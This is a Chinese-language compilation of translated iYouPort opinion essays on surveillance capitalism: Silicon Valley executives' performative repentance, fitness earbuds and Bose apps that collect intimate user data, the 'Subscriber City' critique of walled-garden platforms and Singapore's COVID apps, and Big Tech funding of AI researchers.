即便依照罗斯福的思路这也不是一件容易的事。除了需要大量用于防止或避免任何限制性立法的律师之外，监控技术已经如此嵌入了人们的生活中，以至于人们沉迷于日常的便利性和娱乐性，以史诗般的规模被提取个人数据—— 这一切都难以控制。虽然并非不可能。

至少在西方，监视系统由公司拥有和经营，从理论上讲，这些公司可以受到监管。不过对于中国来说，事情可能有点不同。中国基于社会信用的行为矫正项目已经开始了，它受到政府的严密控制，任何放松都不太可能。

当然，监管只有在激活后才有效。这需要大批人的共同努力。诸如 NYOB 和欧洲 La Quadrature du Net 之类的隐私权倡导组织已经实现了这一目标。他们的活动已经引起了欧洲历史上数据隐私泄露的一些最大罚款。这是前进的方向。

因此，如果监管是目标，广告业就需要对其存在的威胁作出不同的反应。为了保护自己，广告需要动员公众舆论反对数据提取者的过度行为，避免使现状变得不可接受。

市场确定性可能是像 Pritchard 这样的专业人士的目标，这是公平的，但它是几乎所有人的敌人，包括广告。〇

Should we start thinking about ‘a world with no ads’? Ogilvy’s Nicholas Cocks ponders over how the ad industry can prepare for or guard against a future in which advertising as we know it has given

way to automation, nudging and surreptitious behavioural management

原文

硅谷的太阳王 - iYouPort

监视资本主义的世界

真正的灾难不是剑桥分析公司那群数据科学流氓、也不是骗子和人肉狂，不是技术bugs、也不是间谍们的后门，真正的灾难就是硅谷本身，它塑造的剥削、无限的监视资本主义扩张、和无休止贪婪的数据权力囤积

【按】我们去年底推荐过TB的多个合订本，您可以在这里下载；本文是最近的合订本中的一篇文章，2019年11月。

「图」

「图」

在2016年总统大选之后，记者和学者们为民主是否能在互联网上存活下来、以及特朗普是否要感谢 Facebook—— 而不是在整个竞选过程中支撑他的民族主义的上升潮流—— 而焦头烂额。硅谷的精英们，也就是构成互联网统治财阀的巨头公司CEO和高管阶层，在2016年后的大部分时间里都在推特上直播他们的 “心理康复工作”。

包括 Facebook 和 Twitter 在内的互联网蓝筹公司的现任和前任员工都跑出来道歉，开发者、工程师和高管们争相在这个空间里宣泄自己的遗憾。他们的声明在忏悔和安慰之间摇摆不定：就像只有他们才有权力正确地诊断自己的技术所造成的损害程度一样，就像只有他们才有能力和权利来解决问题似的。这些话听起来就像保险条例，虽然也像道歉。

掌控世界的方向盘似乎瞬间从他们手中滑落，这些寡头开始窃窃私语，但一切很快就会回到控制之下。

在科技行业，表演改头换面并不是什么新鲜事，几十年来，科技行业的指关节已经被定期敲打。这个传统可以追溯到20世纪90年代末对微软的反垄断指控，甚至更久。但是，在过去的十年里，硅谷以其空洞的自我主义和永久的自鸣得意，已经成为一个越来越容易被嘲笑的目

标，即使其关键人物不断上升的政治影响力使其似乎对任何谴责免疫。

科技界最大公司的CEO们已经变得和大多数政客一样身份显赫，甚至更显赫，他们经常出现在国会的秀场式审判中，或者出现在全国性报纸的版面上，以回避指责，并趁机为自己的平台做宣传。让这一轮危机控制感觉不同的是，许多有罪的当事人将系统性灾难高度个人化处理的语言。

Facebook 联合创始人克里斯·休斯 (Chris Hughes) 在《纽约时报》上发表的2019年社论表面上是关于需要打破互联网巨头对用户数据的控制 (通过解散该公司才能做到这点)，但是，他这场社论更像是一封写给马克·扎克伯格 (Mark Zuckerberg) 的出轨分手信。在休斯的专栏文章之前和之后的各种悔过书也同样将寡头科技公司的现状 *误解* 为一系列个人不幸事件的结果。例如，领导开发 Twitter 转发按钮团队的开发人员怀疑自己毁了互联网 —— 除非是YouTube算法的创造者先搞砸的。

不管是哪种情况，他们看起来都非常抱歉，他们以奥本海默在首次核试验后的那种庄严态度发表道歉。记者们几乎不用指手画脚，只要跟上节奏叫好就行了。

当你承认你可能毁了互联网、或者帮助选举了一个疯子当总统、或者破坏了西方的民主制度之后，会发生什么？我想，像任何忏悔一样，你会感到解脱。没有什么比保守秘密更糟糕的了。

那么，借用一句老生常谈的话，你可能会花一些时间来锻炼自己。也许，硅谷的精英们没有被他们的所谓 “不好不坏的选举年” 所困扰，他们发现了一种新的自我反省的深度，他们此前没有意识到自己拥有这种深度 —— 也发现了一个新的机会来增长他们的意识。他们练习了毘婆娑、心灵运动、整体自疗呼吸法和多巴胺断食。在 Esalen学院，这个传说中的大索尔疗养院，也是人类潜能运动的发源地，客人名单就像 Y Combinator 的见面会一样，挤满了科技界的名人。这些人帮助建立了地球上最强大的一些公司，他们不仅垄断了互联网市场，还定义了互联网的结构形态 —— 他们自己也承认，他们可能对数百万美国人的政治生活产生了支配性的权力。现在，他们开始和解。

「图」

「图」

硅谷这个地方一直被视为另类生活模式的故乡；旧金山作为工业发源地和反文化中心的双重历史已被广泛记录下来，而且经常被奉承。科技界与最初的新纪元运动有一个共同的倾向，就是将宗教和精神实践与历史和文化背景脱钩—— 用看待他们创造的技术的方式来看待它们。极端形式的禁食和体能消耗被用于许多目的：宗教奉献的形式，政治抗议的行为，或心理强迫的结果。但在硅谷，这些仪式被简化为纯粹的技术问题，是有权有钱的行政阶级提高生产力和炫耀偶像的方式。

杰克·多尔西可以说是这种昂贵标签的最著名代言人，他的个人习惯，从三天的自我饥饿期到东方主义的精神之旅，激发了他的同行们的模仿，也激发了他的批评者们的愤怒。多尔西和那些效仿他的人似乎对最明显的批评都有绝对的免疫力：一个拒绝乘坐公司汽车上班的亿万富翁仍然是亿万富翁。这些人如此费力想要摆脱的世俗干扰大多都是由他们自己所创造的技术产生的。

- 技术曾经是为富人服务的。现在富人正在付钱以避免技术… 《穷人的屏幕》

科技精英们对这些仪式的痴迷从来都不是为了它们的有效性（其有效性很值得怀疑），而是为了创造一种符合他们自我形象的身体及其系统的物理概念。

硅谷的神话 —— 它那令人难以置信的财富和剥削文化，它对颠覆现有商业体系的痴迷，同时强化了劳动和利润之间的根本性不相关 —— 就是建立在这样的信念之上的，即：成功人士与普通人之间在能力和视野上有着内在的根本性差异。他们不受制于与其他人相同的规则，无论这些规则是管理工人权利的劳工法，还是说人类需要进食才能生存的生物学基本规律。

拉姆·达斯（Ram Dass），这位前哈佛大学心理学家，后来成为了印度教信徒和业余大师，他说："痛苦是我们成为智者的训练计划的一部分"。他不是在1971年的《Be Here Now》一书中说的，虽然这本格言集激励了新时代热潮中许多追求者，而是在2002年的一本名为《One-Lineers》的书中说的, 该书将反文化的凶猛直接换成了平淡无奇的箴言。

硅谷的CEO们总是喜欢告诉我们他们为了变得聪明而吃了多少苦，而他们新近敲打出的歉意音符与其各种苦行僧招牌很是吻合。他们的"生物黑客" 已经变成了刚毛衬衣，他们五花八门的生活方式怪癖，在一堆金钱和垃圾科学的对接下，现在呈现出来的是自我鞭挞，而不是

一个特权阶层为证明自己固有的与众不同而做出的努力。

【注：刚毛衬衣最初是由粗布或动物毛制成的，贴近皮肤的服装或内衣。它被各种基督教传统的成员用作悔改和屈辱肉体的一种自我强加的手段。它通常在四旬斋的基督教悔改季节穿着，尤其是在灰星期三，耶稣受难日和四旬斋季节的其他星期五。】

「图」

「图」

此前，如果说像多尔西这样的CEO试图对自己的生理进行短路实验，让人觉得是对其自身与特权阶层之外的人的任何共性的否定，那么现在它们看起来就像是一种不同的表演：新改装的歌剧，方济会灵光的证据。“这是关于把硅谷放回他们的身体”， 一位 Esalen 员工说，现在成群结队的技术专家来到这个静修会，“每个人都有一个灵魂。这是关于如何找到它。”

硅谷的精英们要找到自己的灵魂，会是什么样的？硅谷一直是一个福音的环境，是技术主义资本主义新模式的一种烧毁区，而尽管它的许多最著名的传教士都被揭露为骗子，但很难说他们自己的自信心是否真的被动摇过。

【注：焚烧区—过度觉醒区 (Burned-over district) 指的是19世纪初纽约州的西部和中部地区，那里发生了第二次大觉醒的宗教复兴和新的宗教运动的形成，其程度之大似乎使精神上的热情高涨，犹如区域性起火】

伊丽莎白·霍姆斯（Elizabeth Holmes）很容易被视为硅谷历史上最著名的蛇油推销员，她可以被指责为兜售谎言，但要指责她不真正相信自己与生俱来的CEO气质，那就难多了。事实上，她坦率而迫切地想要栖息在这个角色上，这或许是她唯一令人信服的地方。

因此，当我们进入一个新的大科技时代时，很难找到证据表明硅谷的精神危机产生了任何有意义的变化。行业领袖们仍在暗中抵制新兴的工会化尝试，同样的寡头们仍在争夺世界首富的头衔。（当时）唐纳德·特朗普仍然是总统，而帮助他入主白宫的强硬右翼的支持并没有从互联网的堤道上被扫除。

那些说希望事情发生变化的行业领袖们通过关注自己的同行，有效地试图影响有影响力的人，来对冲自己的赌注。像人文科技中心和

Esalen 的 “Inner-Net” 工作坊这样的组织，将目标锁定在硅谷权力结构最高层的领导人身上，扮演精神上的拉斯普京，利用他们自上而下的影响力。

【注：人文技术中心是一个致力于所谓的 “消费技术伦理” 的非营利性组织。该中心呼吁监管机构和技术公司避免使用社交媒体功能和利润诱因，因为它认为这会导致网络成瘾，政治极端主义，政治两极化和错误信息；格里戈里·叶菲莫维奇·拉斯普京，俄罗斯萨拉托夫省人，尼古拉二世时代的神秘主义者，被认为是东正教中的佯狂者之流。因丑闻百出，引起公愤，为尤苏波夫亲王、德米特里大公、普利希克维奇议员等人合谋刺死。】

问题是，这反而让科技行业离有组织的、彻底的变革的可能性越来越远了。回到个人变革的新时代语言 —— 它转向对自己灵魂的信仰—— 硅谷实际上使孤独天才的神话翻了一番。CEO们很受伤，他们需要回到自己的身体中去。在20世纪70年代，反文化的公共解放梦想最后变质成了孤芳自赏的启蒙梦，它很少去把目光转回来。内心的目光只能向内聚焦。

硅谷之所以被这些同样的技术所吸引，是因为它们让硅谷避开了一个严峻的现实，即：即便 Facebook、Twitter 或亚马逊等公司的CEO们要想挽回他们所造成的伤害，其唯一方法与个人的转变基本无关，而是与系统性的变革有关。

真正的弥补，需要消除剥削、消除贪婪的资本主义扩张和无耻的财富囤积 —— 相反，这些或许才是这个行业唯一 “未被破坏” 的规范。但科技界的精英们宁愿真的饿死自己，也不愿放弃自己的权力。就像当代的太阳王那样，他们看不到自己的身体和他们所指挥的体制之间有什么根源性区别。放弃他们的物质财富和社会政治影响力犹如截肢，使他们与数以百万计在社交媒体上编排自己的健康之旅的普通用户没什么区别了。

2018年12月，杰克·多尔西在缅甸结束了为期十天的冥想静修，这个国家当时正处于军事独裁政权实施的种族清洗之中，他对自己的 Twitter 粉丝说，他试图回答一个古老的问题：“我如何停止痛苦？” 目前还不清楚他说的是世界的苦难还是他自己的苦难，这对多尔西先生来说没有区别—— 它们是一回事。〇

“Silicon Valley’s Sun Kings”，作者是加拿大作家 Tom Thor Buchanan

原文

老大哥在你耳朵里 - iYouPort

监视资本主义的世界

软件硬件一直在无耻地吸取我们的数据，这并不是什么新鲜事，但我们真的需要一副耳机再来插一腿吗？它已经插进来了！⚠为什么一步耳机需要知道你的月经史？

软件硬件一直在无耻地吸取我们的数据，这并不是什么新鲜事，但我们真的需要一副耳机再来插一腿吗？目前正在进行的最大规模的技术争论之一是隐私问题。你无法阻止老大哥，因为这关系到金钱和权力。

当我最近审查 Soul Run Free Pro 健身耳塞时，这一点就变得很明显了，它配有一个相关的应用程序，可以帮助用户充分利用耳机。

当然，这里所讨论的耳塞是向跑步者销售的，并且应该提供卓越的生物识别数据和反馈，以帮助改善从你的姿势到步态的一切，所以用户只能选择接受至少一两个该应用程序的隐私政策。也就是说，我发现自己点击“接受”了很多次。

我最终决定仔细阅读一下我都“同意”了些什么内容，于是就导致了这篇文章。

除了通常的信息 如访问身高、体重、年龄和性别等等之外，该应用程序还要求一些其他的东西，比如说，相当独特的信息。

该应用程序收集的一些“附加信息”包括腿长、你穿的鞋子、以及你是左撇子还是右撇子。很奇怪吧，但也不能说完全不相关，因为这在技术上毕竟是一个监视运动的应用程序。此外，这些耳机的全部内容是与一家名为 Beflex Inc 的公司合作的。为您提供有关锻炼的下一级信息。

然而，它变得更加怪异了。

该应用程序还指出，它将收集“健康相关的信息”，如酒精使用、受伤

史，甚至月经史！

是的，月经史。现在我不是律师，但酒精使用、伤病史和月经史这些绝非是人们热衷于公开的东西。但是，对于一对健身耳塞来说，这究竟有什么用？

「图」

「图」

我去读了一些最大的耳机制造商的隐私政策，看看这究竟是一个孤立的事件还是大型同类公司的常见做法。不幸的是，它们似乎都在某种程度上收集数据，尽管没有一个像上面的例子中那样极端的。大多数人似乎只收集您提供的基本数据，如姓名和地址。也就是说，有一家大公司正在收集更多：Bose。

如果你不记得的话提醒一下，Bose 在2017年已经被曝光了相当惊人的数据收集丑闻，其中发现 Bose Connect 应用程序跟踪用户正在收听的内容并将数据发送回公司进行销售。事实上，用户完全不知道发生了什么。尽管已经过去了两年，而且热度已经慢慢下降，但 Bose 非常清楚地表明这种情况仍然存在。

根据其更新于2018年9月10日的官方隐私声明：一旦您在设置期间点击了“我同意”，他们就可以收集和使用这些数据：“例如使用产品的不同功能/设置所花费的时间，您使用产品的日期和时间，您连接产品的介质和其他外部源，以及适用的产品功率谱，声压级、音量级别和流媒体信息（包括播放列表，艺术家，专辑，歌曲或播客上的内容），时区和交易数据 ……环境数据（例如，噪声水平和音频）。”

这已经够惊人了。并且，完全想不明白为什么一对健身耳塞想要知道某人的月经史？这已经不再是关于你放弃隐私能得到什么回报的交易。这只是一种间谍活动。

其实并不只这些。关联一篇早期的文章《如何使用简单的应用程序找到隐藏的军事基地、士兵和秘密特工们的姓名和住址？》

「图」

「图」

Headphones are collecting too much personal data: The app also

noted that it would collect “wellness-related information” such as alcohol usage, injury history, and even menstruation history. Yeah, menstruation history

原文

订户之城 - iyouport

互联网自由-Resist监视资本主义的世界

【2021年5月20日存档】“硅谷式思考方式” 是一个讽刺流行语，指的是用消费者的角色取代公民，用专制（集中化和专有化）取代民主，将所有人转化为免费劳工。

【按】这并不是预言，而是对现状的一个更为透彻的诠释。事实上一些人已经遇到过这种状况了 —— 当您拒绝使用手机支付而店铺拒绝收取现金的时候、当您刷卡购买了某种高档商品被认为 “与您的常规收入水平不符” 而被盯上的时候、当您被提示 “级别不够无法享用某种服务” 时、当同一种商品您需要比别人花费更多的钱去购买它时 ……

曾经，苹果用户无法使用 “安卓版” 应用程序时，人们只是在喊 “快出 iOS” 版，而当您拿着 Purism 手机或拒绝安装支付宝而无法通过 “健康码” 扫描，于是被禁止进入某些地方时，有多少人意识到这是事实上时一码事？

经典的围墙花园困境正在你的城市里悄然布设，它会让你在任何地方撞上一面墙。更可怕的是，它在将传统的等级制度更加经济化地细分，你将不得不屈从于砌墙人的利益而修改自己，否则你将直接跌入 “底层” 被大多数地方拒之门外。

您的手机上的大多数应用程序都有一个简单的价值主张。当您想要什么的时候， 就可以去点击屏幕。披萨快餐、抵押贷款、搭车、买菜、生活缴费 …… 你能想到的一切都可以通过用户界面来实现，它会指挥各种信息和一大群廉价劳动力来满足你的需要。你不需要去任何地方或与任何人交谈。

正在进行的 Covid-19 大流行为这种基本的商业模式开辟了新的领域，正如对杂货和食品交付的需求激增所表明的那样。通常情况下，流行病要求人类合作和妥协，直到危险消退，但应用程序提供了一种不同的方法 —— 它们把隔离的需求和对所谓的便利性的赞美融为一体，就好像人类能通过科技公司的中介与世界接触 “是一线生机” 似

的。

应用程序已经很擅长为原本是集体的问题提供私人化的、个性化的解决方案，促使我们参与到彼此的剥削中。但在 Covid 之后，作为科技公司更广泛议程的一部分，可能会带来这些系统的成熟和杂交：这些公司作为守门人和收费员，能够在这场流行病过去很久之后，依然从“身份管理”、资源分配和访问控制中获取利润。这些系统将把保险、健康、金融和广告数据等等一切联系起来，在违背您的意愿的情况下对您进行描述 —— 就像几十年来信用评分公司所做的那样，这些系统已经可以决定你的汽车保险费应该多高、你看到的招聘广告是什么、以及你是否能被保释 ..... 但他们最终可能会来管理我们获得与城市生活自由相关的一切。

当微软2012年的一项专利申请提出了一种方法，声称可以引导“用户穿过暴力犯罪统计数字低于一定阈值的社区”时，它引发了一连串关于这样的项目是否是种族主义的文章。是的，这就是种族主义，但更大的问题是，犯罪数据如何与购买历史、人口统计信息和土地价格等数据一起使用，以决定人们能住在哪里。

例如，微软这个专利还描述了显示车内广告（“在高速公路出口处停下来喝杯咖啡”），然后监测司机是否进行了这次购买，这样就可以向广告商收取广告转换费用。很容易想象这样的场景：一个来自城市贫困地区的司机被出租中心、支票兑现和快餐的广告引导，或者一个黑人拥有的企业被收取双倍的广告转换费用，只因为两天前附近发生了武装抢劫。等等。它可以评估特定交易地点相关的各种信息，然后在几分钟内（而不是几年内）相应地调整价格。

这并不是科幻，现在已经有了动态调整拥堵定价的高速公路收费车道，但动态定价肯定不会限于汽车。亚马逊 —— 这个自动化价格歧视的早期领导者 —— 已经收购了全食超市；在实体杂货店中，同样的商品对不同的顾客收取不同的价格还有多久？多久以后信用卡奖励系统会决定你在医生办公室、车管所或食品救济所门外排队的位置？在人们开始习惯于接受原本畅通无阻的公共场所周围被竖起付费墙之前、在曾经似乎所有人都可以平等享受的服务变成优先等级之前，还有多久？

让我们把这种所谓的新常态称为“订户之城”：一套以资本积累和资源管理为目的的加深分化隔离的技术、法律、金融和营销手段。

当然，城市总是不平等的，但这总是能被重新评估的土地价值、长达数年的租赁合同、以及争取租户和自耕农的合法权利所花费的时间所

缓和。而订户之城不会提供这样的避难所：它将能够在不改变物理景观的情况下，飞快地将城市的部分地区围起来。个人将无法预测哪有门、哪里需要排队、和具体价格究竟是多少，因为这一切将受制于平台所有者的奇思妙想。一个人可能在任何地方突然发现自己被隔离在外面了。

随着笼罩式追踪监视和环形监狱技术的稳步激增，以及法律上的正当性和企业“整合（cartel）”的积累，订户之城的恐怖前景似乎也只是最近才被关注到，这是一个畸形的科技产业的外延。但实施这种荒诞的前景并不是任何新发明，人们可以将其根源追溯到古老而熟悉的东西：围墙花园。

在花园周围建一堵墙是一个非常古老而实用的想法 —— 在栽培水果和蔬菜的时候，用来挡住觅食的小动物。围墙本身也是一种园艺技术，它可以在更广泛的气候条件下种植暖季食物。围墙花园是温室的先驱。一堵厚厚的石墙在秋天的阳光下烘烤着，在花园里创造了一个比环境温度高20华氏度的小气候。有些花园的墙体是用炉子加热的。墙不仅将敌人拒之门外，还在内部孕育着新的可能性 —— 砌墙的人想要的可能性。

科技公司的围墙花园固然是在围墙和控制方面的努力，但它们也是在努力创造微气候：被人工改变的区域，在那里，某些新奇的事物 —— 以及某些被认可的态度 —— 可以得到生长和繁荣。2015年，当马克·扎克伯格下令“转向视频”时，世界上最大的媒体集团都乖乖地听话了；苹果由硬件、软件和服务组成的生态系统，使得人们几乎不可能在不损失数百美元的付费应用和教奶奶如何使用 FaceTime 的时间和精力的情况下切换到竞争的 Android 平台。封闭平台的垄断性规模和相对简单的特点，几乎可以让所有人都屈服于他们的意志。在他们的围墙花园里，我们所有人都已经变成了专业级的发育不良的盆景树。

【注：“转向视频”指的是从2015年开始的趋势，媒体出版公司削减了书面内容的人力资源，而倾向于使用短视频内容。出版商通常将有争议的趋势描述为对社交媒体流量变化和年轻受众的媒体消费习惯变化的回应。但是，评论家指出，这实际上是由广告驱动的。只有广告客户（而非消费者）更喜欢视频而不是文字。IYP坚持不认同这一围墙。】

在商业互联网的早期，许多科技观察家对围墙花园持高度怀疑态度，他们将AOL等系统的出现比作17世纪英国的公地围墙。在圈地之前，农民会集体耕作这些土地，地主和同乡之间往往会就可以种植多少、从地里拿出多少等问题达成复杂的协议。但随着工业化和运输技术的

兴起，粮食生产开始集中化，工业家把农民从公地赶到了工厂和租界。批评者认为，互联网上的围墙式内容花园也发生了类似的情况：人们被赶出了自我组织的网络，进入了为集中化的私人利润而管理的严格控制的环境中。

- 《你只是寡头们营造的数字种植园里的农奴：改变被奴役的命运》

然而，最初看来，网上围墙花园注定要失败。使互联网得以运行的共享协议似乎也决定了如何使用互联网：协作和互操作性的精神似乎是内在的，而与此相悖的商业模式似乎是边缘化的。网络先驱蒂姆·伯纳斯·李在2010年《科学美国人》杂志的一篇文章中回顾了互联网的早期，谴责“美国在线拨号信息系统给人们提供了一个受限制的网络子集”，他认为“封闭的‘围墙花园’，无论多么讨人喜欢，都无法在多样性、丰富性和创新性方面与门外疯狂跳动的网络市场相竞争”。

但是，这大大低估了围墙花园的弹性。自上世纪90年代以来，技术如何“请求、要求、鼓励、阻止、拒绝和允许人类的行为”—— 用设计学者珍妮·戴维斯（Jenny Davis）的表述来形容技术所能提供的东西—— 已经发生了巨大的变化。无处不在的连接性和智能手机基于应用的组织逻辑最终实现了**AOL**无法实现的目标：将用户锁定在**Netflix**、**Adobe Creative Cloud** 和 **Google Stadia** 等订阅服务中。互联网用户大多不再使用电子邮件和RSS（这两种服务都是基于开放协议），而是转向了 Facebook 的宁静之蓝和苹果公司严格控制的产品；苹果公司严格把关的应用商店将围墙花园的寻租潜力提升到了新的高度。

一旦消费者被困在花园里，被易用性所吸引，并从开放网络的“混乱”中逃脱出来，平台就可以按照自己的意愿来对待用户，正如接下来的所有数据滥用和剥削所证明的那样。

这产生了深远的影响。曾经，网络似乎是“虚拟”的，它的围墙花园是隐喻的；但是现在，数字基础设施已经与物理基础设施混合在一起了，管理着（例如）水、交通、和医疗系统等等几乎一切的使用和维护。这些墙现在来自于手机内部的，从“在线”开始的平台已经将其触角延伸到我们的汽车、家庭、工作场所、学校和街道；物理墙、门和车辆越来越多地受到晦涩难懂的算法和平台商业模式的控制。迄今为止，那些曾经主要被宣传为“方便”和可选的技术，正在迅速变成控制性的、强制性的管理系统。

给你送餐的人将根据吝啬的算法计算来支付报酬；你家街角的酒馆可能会有一个像支付宝或微信那样的电子支付系统；你的房东可能只接

受Venmo付款；Uber司机的车会把他们的驾驶习惯信息发送给保险公司。也许不久的将来，除非你有亚马逊的Prime账户，否则连锁超市不会为你服务；房东可以专门通过Paypal接受付款；所有的交付都将以不道德和不人道的方式进行。

📌 不管这类服务宣称的具体程序是什么，它们最终都是为了将人们组织成不同的类别，以便根据这些归属差异从中获利。订户之城的前提是，这些服务能够成功地将人们隔离成更细、更复杂的使用、服务和公民身份的层级。

对于新围墙花园发展到城市规模的一个明显的例子，您可以看看新加坡的市政服务办公室。它运行了一个名为 OneService 的应用程序，可以用于从报告坑洞到识别本地鸟类的一切事务。这是政府 “基于问题的途径” 的公关系统的一部分。也就是说，新加坡人不必再追问哪个部门对他们遇到的问题负责，而是通过所谓的 “标准化的投诉系统”，将问题交给负责解决的人。

【注：不止新加坡哦，如今到处都有这种自动化的投诉系统，中国的政府部门就有，任何人都可以使用，但能否解决问题，那是另一码事。】

OneService 展示了一种既去政治化又令人难以置信的诱人的政府关系。你可以走来走去报告这个世界的一切问题，并相信有人会听你的；这是一种非常硅谷式的、解决问题的治理方法 —— 仅仅把公民当做消费者，把国家当做一个万能的服务提供者而已。但是，即然手机让公民很容易向国家提出要求，当然也让国家可以随时追踪公民在哪里，做了什么。除了报告漏水问题和乱扔垃圾，新加坡人还可以用这个应用互相打小报告，群众斗群众。

【注：“硅谷式思考方式” 是一个讽刺流行语，指的是用消费者的角色取代公民，用专制（集中化和专有化）取代民主，将所有人转化为免费劳工。】

TraceTogether 是新加坡政府为 Covid-19 推送的另一款围墙花园应用，它摒弃了苹果和谷歌联合开发的以隐私为中心的开放协议，而是采用了收集更多信息的系统，并且对城市的外来务工人员进行强制要求。

这两款应用共同将农民工与市民隔离开了。本地居民过着几乎没有冠状病毒的生活，而大约30万农民工 —— 大部分是孟加拉人和印度人 —— 被关在由雇主管理的拥挤的宿舍里。被检查健康的人由面包车运

送到工地，之后才回到他们可能与多达十几个室友合住的单间。

新加坡管理移民工人从宿舍到面包车到建筑工地往返的能力，是如今我们许多人可能都会经历的控制形式的预兆，只是在一个更柔和，更政治化的幌子下。也许你的下一次被驱逐会以 GrubHub 通知的方式送达："哦，不！看来你的 Covid-19 测试呈阳性! 好消息是，我们为你在隔离区挑了一些很不错的住所! "

像迈克尔·布隆伯格这样的美国亿万富翁长期以来一直将新加坡这样的技术专制国家视为自己政治野心的典范。每个人手机的传感器包已经是实时管理数百万人的访问和权限的完美工具；而如果像生物识别身份验证器Clear这样的公司得逞的话，他们可能很快就会对您的身体和背景进行持续的扫描，以确认您的身份和所谓的"威胁程度"。Clear 公司运行的项目，可以让付费用户在35个机场不用排队安检。由于疫情已经击垮了航空业，正如OneZero所报道的那样，Clear 希望将其身份验证方式可以带到整个世界，成为"一个整体的身份验证平台，覆盖我们日常生活中更多的亲密时刻"。从不出示驾照就点到啤酒，到追踪和验证谁接受了核酸检测，**Clear** 希望将订户之城超越手机，分布在整个城市本身。

美国对 Covid-19 的反应是以隔离为特征的—— 不仅是在谁遭受痛苦和死亡的不成比例的结果方面，并且是在谁能获得何种"正常"方面。在最近一篇发表在 Curbed 上的文章中，Alissa Walker 描绘了纽约市对Covid-19的种族主义反应的鲜明画面。"哈莱姆区的混凝土墙公园仍然是锁着的， 与此同时，西村的草地公园则是开放的；旅游友好区的街道已经禁止通行，而牺牲了看不到这些奢侈品的贫困街区。" 自 Walker 的文章发表以来，更多的道德失范呈现在人们面前，包括**9**月份在富人区的邻居投诉后，管理者将**300**名无家可归者赶出了上西区的一家空酒店。

在新兴的订户之城中，隔离将被"便利"和优化的屏幕薄纱所掩盖。鼓励出版商转向视频和音乐听众转投 Spotify 的围墙花园，现在将被用来控制你的工作、生活和你如何度过已经在迅速减少的空闲时间。重要的是，通过限制和提供访问权限而不是提供服务来赚钱，这就是订户之城的主旨。

曾几何时，郊区化是隔离的手段。围绕着汽车的生活与破败的城市中所谓的肮脏、疲惫的生活相提并论，而政府与私人银行合作，对社区进行红线管理，把困扰几代人的贫困隔离出去。然后，在城市非工业化时代，这种战术发生了转变。社会学家 Sharon Zukin 在1982年出版的《Loft Living》一书中，追溯了20世纪60、70年代纽约市SoHo

街区艺术家住进前工业化阁楼的风潮如何被媒体煽动，进而让艺术家的阁楼变得令人向往的东西。但正如她所指出的那样，“优势阶级的积累策略的转变通常会引用文化规范，以证明并促进对人们尚未习惯的社会控制形式的行使之正当性”。

其中一种形式就是昂贵的当代艺术。通过将波西米亚城市主义作为一个理想目标，新兴的投资银行家阶层可以证明对艺术作品和艺术创作的城市环境进行大规模金融投资“是合理的”。Zukin 所说的这种“艺术生产模式”，将银行对新投资工具的需求和大城市中艺术家的物质条件完美地结合起来。当然，这些投资并不是为改善艺术家的物质条件的存在，而是利用艺术家的劳动密集型工作来创造独特的场所和购买的东西 —— 也就是为金融家积累价值。

就像半个世纪前去工业化煽动了SoHo的阁楼生活一样，今天由流行病引起的经济困境又为资本家们提供了机会，让他们再次转变主导的积累战术，这一次是向科技创业文化转变。我们看到的不是艺术，而是订阅、服务、平台和数字化管理的访问。只需对基础设施进行一些调整 —— 用自助结账取代老式收银台，在丰田凯美瑞的仪表盘上安放一部手机 —— 建筑环境就能以完全不同的方式行事。科技学者 Jathan Sadowski 将其称为“地主的互联网”。通过将有用的便利设施转化为强制性的通行点，比如说，曾经帮助人们在餐厅预订餐桌的应用，变成了在餐厅吃饭的唯一方式。像 **AirBnB** 这样的服务，通过在供给侧强调创业，在需求侧强调真实的体验，来让自己显得必要和必然。

- 不止于此，更多见《地主2.0：科技的新食利资本主义》

时刻监视你的传感器意味着，为一件事只支付一次是远远不够的。每一次支付都可以与验证你的身份、健康状况、和参加各种私人计划融合在一起。这样就可以将一个城市的闹市区仅限制在亚马逊 Prime 等服务的订户范围内。通过允许商店不接受现金或为注册客户提供深度折扣，地主互联网培养了一个订户之城。

就像工业阁楼只需一点内部装修就变成了“艺术家的阁楼”一样，杂货店甚至城市街道本身只需稍加改造就变成了利润提取的场所。财富的产生不仅来自于房地产交易（尽管这些交易仍然非常有利可图）和住房层面的隔离，还来自于超越隔离延伸到居住区和邻里之外的其他空间配置。购物区、政府大楼和大学校园是订户之城改造的首要目标。就像郊区被证明是人丁兴旺家庭的安全储备、而价格过高的工作室也曾被证明是时髦的“艺术家的阁楼”一样，这些扩张性的隔离项目通过任何当时在文化上占主导地位的想法而变得容易被接受：“安

全、创造力，以及现在的便利”。

每一种观念背后都有一个挫败 —— 危险、顺从、挫折 —— 我们试图避免的东西；但在逃避破败的基础设施和昏昏欲睡的官僚机构的挫败时，我们进入了技术寡头的围墙花园，而其果实只留给最忠诚、消费最高的客户。〇

Subscriber City

原文

许多顶尖的AI研究人员从科技寡头公司获得资金支持 - iYouPort

监视资本主义的世界

您基本可以肯定其他40%的资金来自政府和军方。但是，众所周知，这种技术仅以一种方式发展 —— 捍卫强权的利益，因此，由谁来筹集资金并不重要 ……

【按】其实这种现象极为普遍，且由来已久。它是巨头公司柔性维稳的一种手段 —— 将反抗者的口号拿来为自己所用。比如，你们要隐私吗？我来定义什么是隐私；你们要技术道德吗？我来定义道德的标准 ……

当依靠出卖您的私密数据以维持高额利润的寡头公司主持 “隐私大会” 时，您将如何期待隐私这个词依旧代表基本人权？

众所周知资金是危险的东西，它将令接受者被支付者摆布。但正如上面的副标题所解释的，研究肯定需要资金，而当前的问题是，只有政府、军方和寡头公司把持着绝大多数资金；这是挡在技术民主化面前的最大困境。

「图」

「图」

作为一名从事人工智能研究的研究生，Mohamed Abdalla 原本很可能会走进一些高薪的行业工作。但是没有，相反，他希望引起人们对大科技公司的大笔资金正在如何扭曲他的研究领域的关注。

正在多伦多大学完成博士学位的 Abdalla 与人合作撰写了一篇论文，强调了接受科技公司资助的顶尖人工智能研究人员的数量 —— 包括那些研究该技术提出的伦理挑战的人。

他说，当企业的人工智能系统提出伦理问题时，技术研发的资金来源就可能是一个特别的问题了，例如 算法偏见、军事用途、或关于人脸

识别程序的公平性和准确性的问题。

Abdalla 发现，在四所著名的大学中，超过一半的终身制人工智能学术人员披露了他们的资金来源 —— 他们都得到了寡头科技的某种支持。

Abdalla 说，他不相信这些学术人员有任何不道德的行为，但是，他认为他们的资金可能会使他们的工作出现偏误 —— 甚至是无意识的。他建议大学出台规则，提高对潜在利益冲突的认识。

